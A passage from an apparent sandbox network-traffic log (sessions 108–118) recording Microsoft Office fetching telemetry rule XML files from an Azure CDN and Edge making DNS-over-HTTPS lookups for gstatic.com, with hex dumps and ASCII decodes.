2024-10-30 10:45:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10afd222c8f-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bc 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49882	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104534Z-r1755647c66tsn7nz9wda692z000000006cg000000000etm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:34 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49883	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104534Z-r1755647c66gqcpzhw8q9nhnq000000008q00000000036tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:34 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49886	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104534Z-r1755647c66vxbtprd2g591tyg00000007pg000000000r3w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49885	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: c4db5382-b01e-0002-089c-271b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104534Z-r1755647c666sbmsukk894ba7n00000005hg000000006k9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49884	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:34 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104534Z-17fbfdc98bb6vp4m3kc0kte9cs00000008qg000000002hqx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:34 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49889	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 10:45:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10e5c0783a1-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 23 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#s^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49890	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 10:45:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10ecafeeb27-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ae 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49891	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:35 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 10:45:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10efe4a6b51-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 11 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49892	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:35 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104535Z-r1755647c66pzcrw3ktqe96x2s000000095g000000003sf4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49894	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:35 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104535Z-17fbfdc98bb6kklk3r0qwaavtw0000000600000000000s9c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49893	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:35 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: c4804143-f01e-0003-2fe0-254453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104535Z-r1755647c66x7vzx9armv8e3cw00000009kg000000003qdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS 